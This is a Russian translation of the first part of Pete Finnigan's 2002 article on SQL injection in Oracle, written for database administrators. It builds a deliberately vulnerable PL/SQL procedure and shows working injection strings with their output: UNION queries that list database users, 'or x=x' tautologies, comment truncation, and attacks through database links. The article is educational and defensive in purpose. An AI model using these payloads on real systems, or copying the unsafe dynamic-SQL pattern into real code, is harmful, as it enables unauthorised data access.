
Июнь/Июль 2003
Профессионалу администратору
Пит Финниган
SQL Injection и Oracle
Часть I
(SQL Injection and Oracle, Part One
by Pete Finnigan)
Источник: сайт Pete Finnigan, http://www.securityfocus.com/infocus/1644, последенее обновление: 21ноября, 2002
[Представляя читателям цикл из двух статей (вторая будет опубликована в следующем номере) уже знакомого нашим читателям Пита Финнигана (Pete Finnigan), я хотел бы в качестве небольшого введения процитировать несколько строк, которые сразу дадут определение и введение в понятие SQL injection – механизм взлома и проникновения в базу данных. Сами же публикации, естественно, дают рекомендации, как уберечься и защиться от этого действия.
А.Бачин, главный редактор OM/RE
"SQL Injection для чайников, взлом ASP+MSSQL”
(http://securitylab.ru/?ID=31623)
SQL Injection - метод, предназначенный для введения SQL-запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web-пользователям, и делают SQL-запрос к базе данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL-запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.
SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.
Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений. ]
Техника SQL Injection повышает угрозу конфиденциальности информации хранимой в базах данных Oracle. Приемы SQL Injection часто обсуждаются в рассылках, форумах и конференциях, посвященных безопасности. Написано много хороших статей о SQL Injection и безопасности программного обеспечения Oracle, но лишь некоторые посвящены SQL Injection в ПО Oracle. Это первая из двух статей, в которых исследуется SQL Injection в атаках на базы данных Oracle. Цель этой серии – представить пользователям Oracle некоторые опасные возможности SQL Injection и предложить несколько простых путей защиты против этих типов атак.
Oracle – громадный продукт, и приемы SQL Injection может быть применимы ко многим его модулям, языкам и API. Таким образом, этот документ предназначен быть обзором или вступлением в предмет. Эта серия из двух статей не предлагается как детальный учебник по SQL Injection в базу данных Oracle, и не претендует на детальное обсуждение чисто технической точки зрения. (Детально техника SQL Injection была уже хорошо раскрыта, в прошлом, для других языков и баз данных, частично Рейном Форестом Паппи (Rain Forest Puppy) – первым исследователем предмета. Некоторые из этих документов были включены в список ссылок в конце этого документа.) Я же разработал этот документ таким образом, чтобы как можно больше читателей могли проделать предлагаемые примеры. Для демонстрации техники SQL Injection я применяю PL/SQL-процедуры, которые используют динамический SQL через SQL*Plus.
В начале нашего обсуждения читателям может быть полезно будет обратиться на сайт автора http://www.petefinnigan.com, на котором в разделе скрипты (SQL и PL/SQL опции) выложен код из данного документа.
Что такое SQL Injection
SQL Injection - это способ атаки базы данных через защищающий её брандмауэр. Это метод, по которому параметры web-запроса – приложения модифицируются так, чтобы изменить SQL- выражение, которые передаются в базу для извлечения данных. Например, добавлением кавычки к параметрам, становится возможным исполнение второго запроса вместе с первым.
Атака базы данных с использованием SQL Injection может быть мотивирована двумя основными целями:
- Кража данных из базы, которые не должны быть доступны, или получение данных о системной конфигурации, которые могли бы разрешить атаку встроенного профиля. Один пример, приведенный ниже, мог бы предоставить все хэш-пароли базы данных. Таким образом, пароль мог бы быть подобран путем перебора.
- Получение доступа к главной вычислительной машине организации через машину, обслуживающую базу. Это может быть сделано с использованием пакета процедур или на расширенном 3GL-языке, который разрешает доступ к OC.
Существует много возможностей использовать эту технику на системах Oracle. Способ зависит от используемого языка или API. Ниже перечислены несколько языков, API и инструментов, которые могут получать доступ к базе данных Oracle или быть частью web-приложений.
- JSP
- ASP
- XML, XSL and XSQL
- Javascript
- VB, MFC, and other ODBC-based tools and APIs
- Portal, старый WebDB, и другие Oracle web- приложения и API
- Reports, discoverer, Oracle Applications
- 3- and 4GL языки такие как C, OCI, Pro*C и COBOL
- Perl и CGI скрипты которые имеют доступ к базе Oracle
- и др.
Любое из вышеприведенных приложений, инструментов или продуктов является основой, которая может быть использована для SQL Injection в базу Oracle, при наличии некоторых простых предусловий. Первое и основное - это использование динамического SQL в приложении, инструменте или продукте, в противном случае SQL Injection не возможно.
Последний и важный момент, обычно не обсуждаемый в дискуссиях о SQL Injection в любые базы, включая Oracle, – то, что SQL Injection - это проблема не только web- приложений. Как сказано в предыдущем разделе, любое приложение которое разрешает пользователю вводить данные, которые могут, в конечном счете, исполняться как часть динамического SQL потенциально может подвергнуться внедрению SQL. Конечно, web-приложения представляют наибольший риск, так как любой [пользователь], имеющий соединение с Интернет и браузер, потенциально может получить доступ к непредназначенным для него данным.
Вторя статья этой публикации будет включать более углубленные рассуждения о том, как защититься против атак SQL Injection, а пока приведем здесь пару кратких замечаний, которые следует упомянуть во вступительной части. Данные, хранящиеся в базе Oracle, должны быть защищены от служащих и других пользователей, которые имеют доступ через сеть к приложениям, обслуживающим эти данные. Служащие могут иметь неблагие намерения или просто хотят прочитать данные, для них неавторизованные. Читателям следует держать в уме, что большинство угроз для данных, содержащихся в базе, приходят от авторизованных пользователей.
Защита против SQL Injection в Oracle-системах достаточно проста и включает два основных этапа:
- Аудит кода приложения и изменение или удаление проблем, которые разрешают внедрение.
- Приведение в жизнь принципа наименьших привилегий на уровне базы данных таким образом, что даже если кто-то и сможет сделать SQL Injection в приложение для похищения данных, они не смогут увидеть какие-либо еще данные, кроме тех, которые предполагал разработчик при нормальной работе пользовательского интерфейса.
В разделе “Защита”, который включен во вторую часть этого обзора, будут рассмотрены детали того, как применять некоторые из этих идей применительно к приложениям Oracle.
Как может быть атакован Oracle
Oracle, как и любая другая база данных, уязвима для атак с использованием SQL Injection. Oracle существенно лучше, чем некоторые другие СУБД, но следующие варианты нападения все равно могут нанести ущерб и базам данных Oracle:
- UNIONS (СОЕДИНЕНИЯ) могут быть добавлены в существующее выражение для выполнения второго выражения;
- SUBSELECTS (ПОДЗАПРОСЫ) могут быть добавлены в существующие выражения;
- Существующие SQL могут быть изменены (обрезаны), для возвращения всех данных. Эта техника часто используется для получения доступа через способы аутентификации третьих сторон;
- Доступность большой части инсталлированных пакетов и процедур, которые содержат пакеты для чтения и записи файлов операционной системы;
- Выражения создания и модификации объектов (DDL) могут быть внедрены, если в приложении использовано динамическое формирование строки SQL;
- Команды DML (INSERT, UPDATE и DELETE) так же могут быть подвержениы SQL Injection;
- Посредством использования ссылок (database links) через одну из них могут быть атакованы SQL Injection другие базы данных.
С другой стороны следующие нападения не возможны:
- Не разрешены множественные выражения; и
- Так же не возможно SQL Injection через вызов, который использует переменные связывания (bind variables); и поэтому это является хорошим решением против большинства проблем SQL Injection.
Некоторые специфические примеры
Web-приложения содержат наибольшую угрозу SQL Injection. Они могут быть написаны с использованием JSP, ASP, или многих других языков? приведенных в списке выше. Некоторые специалисты доказывают, что SQL Injection - это только лишь следствие применения web-приложений и, скорее всего, это именно так.
Чтобы проиллюстрировать некоторые из возможностей SQL Injection в Oracle, я написал простую PL/SQL-процедуру, которая выдает телефонный номер клиента из гипотетической таблицы клиентов в базе данных. Как сказано во вступлении, SQL Injection возможно в любой части, которая динамически строится во время исполнения, когда введенные данные не фильтруются и не проверяются. Можно продемонстрировать SQL Injection, используя PL/SQL и повсеместно применяемый SQL*Plus. Процедура использует внутренний динамический SQL для передачи части SQL-выражения, формируемого во время исполнения, в базу данных. Я решил использовать PL/SQL и SQL*Plus, чтобы любой читатель, имеющий доступ к Oracle, мог попробовать эти примеры, ни какие другие специальные инструменты не потребуются для установленной базы Oracle, предшествующей 8i. Использование PL/SQL-процедур и динамического SQL аналогично SQL Injection, основанному на web-, только локально, а не удаленно. Читатели должны помнить об этом, пока читают эту статью. Также мы не используем любые техники символьных кодировок для передачи специальных символов или метасимволов к серверу от web- браузера. Пример структуры используемой таблицы:
create table
customers (
CUSTOMER_FORNAME VARCHAR2(30),
CUSTOMER_SURNAME VARCHAR2(30),
CUSTOMER_PHONE VARCHAR2(30),
CUSTOMER_FAX VARCHAR2(30),
CUSTOMER_TYPE NUMBER(10)
)
/
SQL> desc customers
Name Null? Type
-------------- ----------------------------
CUSTOMER_FORNAME VARCHAR2(30)
CUSTOMER_SURNAME VARCHAR2(30)
CUSTOMER_PHONE VARCHAR2(30)
CUSTOMER_FAX VARCHAR2(30)
CUSTOMER_TYPE NUMBER(10)
В таблицу были загружены следующие три записи:
insert into customers values (‘Fred’,‘Clark’,‘999444888’,’999444889’,‘3’);
insert into customers values (‘Bill’,‘Jones’,‘999555888’,’999555889’,‘2’);
insert into customers values (‘Jim’, ‘Clark’,‘999777888’,’999777889’,‘1’);
commit;
SQL> select * from customers;
CUSTOMER_ CUSTOMER_ CUSTOMER CUSTOMER CUSTOMER
FORNAME SURNAME _PHONE _FAX _TYPE
------------- --------- ---------- --------- ------
Fred Clark 999444888 999444889 3
Bill Jones 999555888 999555889 2
Jim Clark 999777888 999777889 1
Пример процедуры создается с использованием следующего кода. Для теста я использовал DBSNMP - пользователя по умолчанию, который имеет много привилегий, которые не нужны обычному пользователю. Этот пользователь иллюстрирует проблему web-пользователей, чьи права не ограниченны минимальными привилегиям:
create or replace procedure get_cust (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||'''';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
end get_cust;
/
Невозможно просто добавить выражение в существующее выражение, построенное процедурой, для выполнения, как с любой другой базой данных, таких как MS SQL. Следующий пример иллюстрирует это с использованием нашей процедуры:
SQL> exec get_cust('x'' select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';
select username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended
Процедура ожидает фамилию покупателя и должна построить выражение по форме:
select customer_phone from customers where customer_surname='Jones'
Можно заметить, что существует возможность добавить дополнительный SQL после имени, путем выделения существующего SQL-выражения с использованием кавычек и добавлением дополнительного SQL. Предшествующий пример показывает, что вернется ошибка Oracle, если мы постараемся послать в СУБД два выражения за один раз.
Выражения в инструментах и языках Oracle разделяются знаком (;), таким образом, мы можем использовать следующее выражение:
SQL> exec get_cust('x'';select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';
select username from all_users where 'x'='x'
-911ORA-00911: invalid character
Это снова не сработало, но вернулась другая ошибка Oracle. Добавление точки с запятой после первого выражения не разрешает выполнение второго выражения, следовательно, есть только один способ заставить Oracle выполнить добавочное выражение - это расширить существующее выражение where или использовать объединение или подзапрос. Следующий пример демонстрирует, как получить дополнительные данные из другой таблицы. В этом случае мы прочитаем список пользователей в базе данных из словарного представления ALL_USERS.
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR
Пример работает! Мы так же можем использовать подзапрос для расширения существующего выражения для выбора записей. Они менее полезны, так не могут изменять существующий выбранный список, использованный для добавления новых столбцов из других таблиц. Тем не менее, они могут быть использованы для изменения тех записей, которые возвращаются существующим запросом. Как показывает пример для возврата всех записей в таблице:
SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888
Добавка “and ‘x’=’x’” нужна для закрытия оригинальной кавычки, ожидаемой в процедуре SQL строки. Вышеприведенный способ возвращает все строки из нашей таблицы. Указанный простой пример и техника могут использоваться более изобретательно, чем в данном случае.
Следующий пример рассматривает усечение части выражения where таким образом, что возвращаются все строки из таблицы. Классическое использование этого случая, когда разработчики аутентификации web-приложения используют следующий способ получения доступа - найти правильную запись в пользовательской таблице с подходящим именем пользователя и паролем. Пример может быть таким:
select * from appusers where username=’someuser’ and password=’somecleverpassword’
Для усечения такого выражения мы можем сделать SQL, возвращающий все записи в таблице; обычно это способ позволяет получить вход в систему. Возвращая, как правило, администраторскую запись первой! Вот пример усечения с нашей таблицей с покупателями. Все записи могут быть возвращены использованием “OR ‘x’=’x’” в where предложении как следует ниже:
SQL> exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
::999444888
::999555888
::999777888
Следующая, процедура модифицирована для расширенного использования SQL таким образом, что существует вторая часть выражения where для усечения. Для начала приведем модифицированную процедуру:
create or replace procedure get_cust2 (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||''' and customer_type=1';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
Здесь демонстрируется использование “--“ комментария для усечения конца фразы WHERE. Эта техника применима, когда форма приложения имеет более чем одно поле для ограничения, которое добавляется к динамическому SQL и посылается на обработку базе данных. Добавив дополнительное SQL выражение со всеми необходимыми условиями, мы можем добавить в конце “--“, что усечет в запросе все ненужные ограничения. Следующий пример демонстрирует это:
SQL> exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888
Выполнив это выражение, мы можем видеть, что все три записи возвращены из-за “or” выражения. Если там не было комментария, нам следовало бы еще включать строчку “and customer_type=1”. Другой пример по той же теме разрешает нам использовать объединения и выборки на таблице all_users как и выше, и тогда комментировать окончание where предложения.
Все вышеприведенные примеры показывают выражения выборки с внедренным дополнительным SQL. Те же принципы также применимы для предложений вставки, удаления и обновления. Другие выражения, которые могут изменять схему или экземпляр базы данных, доступные в Oracle, включены в DDL (Data Definition Language) выражения. Примеры включают создание таблиц, индексов или изменение языковых настроек. Обычно выражения не могут быть смешаны, поскольку как было показано выше, мы не можем посылать два выражения в одно и тоже время (за раз), также если нам доступны только выражения выборки, мы не можем использовать добавление или удаление. Часто приложения включают способ посылать любые SQL на сервер. Это плохая программистская практика, т.к. она разрешает выполнение выражений, таких как DDL. Это утверждение может быть оспорено тем, что это не SQL Injection. Так как для этого вам не нужно ничего изменять в существующем приложении.
В финальной части головоломки поговорим о пакетах, процедурах и функциях. Можно вызвать PL/SQL-функцию из SQL-выражения. Правила немного менялись в каждой версией Oracle, и в действительности, это было невозможно до PL/SQL version 2.1, которая пришла с СУБД Oracle 7.1. Существуют буквально тысячи встроенных функций и процедур, поставляемых со стандартными пакетами. В основном их наименования начинаются с DBMS или UTL. Заголовки могут быть найдены в $ORACLE_HOME/rdbms/admin или в списке пакетов процедур и функций, которые могут быть получены опрашиванием базы следующими выражениями:
SQL> col owner for a15
SQL> col object_type for a30
SQL> col object_name for a30
SQL> select owner,object_type,object_name
2 from dba_objects
3 where object_type in('PACKAGE','FUNCTION','PROCEDURE');
OWNER OBJECT_TYPE OBJECT_NAME
------ ----------- ------------------------------
SYS FUNCTION CLIENT_IP_ADDRESS
SYS FUNCTION DATABASE_NAME
SYS FUNCTION DBJ_LONG_NAME
SYS FUNCTION DBJ_SHORT_NAME
SYS PACKAGE DBMSOBJG
…
CTXSYS PACKAGE DR_DEF
CTXSYS PROCEDURE SYNCRN
391 rows selected.
Здесь пример того, что могут вызывать встроенные функции, поддерживаемые Oracle. Использование функции (SYS.LOGIN_USER) в этом случае – достаточно просто и всего лишь возвращает имя текущего подключенного пользователя, но это только лишь иллюстрирует принцип.
SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP
Функции и процедуры, которые могут быть вызваны из SQL, достаточно ограничены: функции не должны изменять состояние базы или состояние пакета, если вызваны удаленно, и функции не могут изменять переменные пакета, если вызваны в выражении where или group. В версиях, более ранних, чем Oracle 8, было только несколько встроенных функций и процедур, которые можно было вызвать из PL/SQL-функции, которую использовало SQL-предложение. Ограничения были сняты в Oracle 8, но пользователям не следует ожидать возможности вызывать файл или пакет вывода, такой как UTL_FILE или DBMS_OUTPUT или DBMS_LOB из SQL-предложения - они должны быть исполнены в PL/SQL-блоке или вызваны исполнением команды из SQL*Plus. Можно использовать многие из этих процедур, если они часть функции, которая написана, что бы быть вызванной из SQL.
SQL Injection и использование PL/SQL-пакетов, процедур и функций в действительности требует возможности использования динамического PL/SQL. Если форма или приложение строит и исполняет динамический PL/SQL в той же манере, как описано выше, та же техника может быть использована для вызова выражений вставки в стандартном PL/SQL-пакете или любом PL/SQL-пакете или функции, которая существует в схеме.
Если в базе данных существуют ссылки на другую базу, то они могут быть использованы для атаки другой базы, существующей в организации. Эти ссылки могут быть использованы при попытке SQL Injection. Это позволит атаковать, обходя брандмауэр, базу данных, потенциально не доступную из Интернет. Приведем простой пример, использующий нашу PL/SQL-процедуру для чтения системной даты из другой базы в моей сети.
SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02
Завершение
Эта статья включает первую из двух статей серии о SQL Injection и ПО Oracle. Здесь предложен краткий обзор SQL Injection, с точки зрения некоторых примеров как эта техника может быть применена против программного обеспечения Oracle. Следующая часть раскроет нахождение SQL Injection и защиту против SQL Injection.
Pete Finnigan - независимый консультант специализирующийся в Oracle и безопасности Oracle. Pete сейчас работает в в Финансовом секторе ВБ и ранее выполнил новый Oracle security step-by-step guide for the SANS institute. Pete имеет многолетний опыт разработки и опыт администрирования в различных языках. Pete - один из ведущих мировых специалистов по безопасности Oracle.
|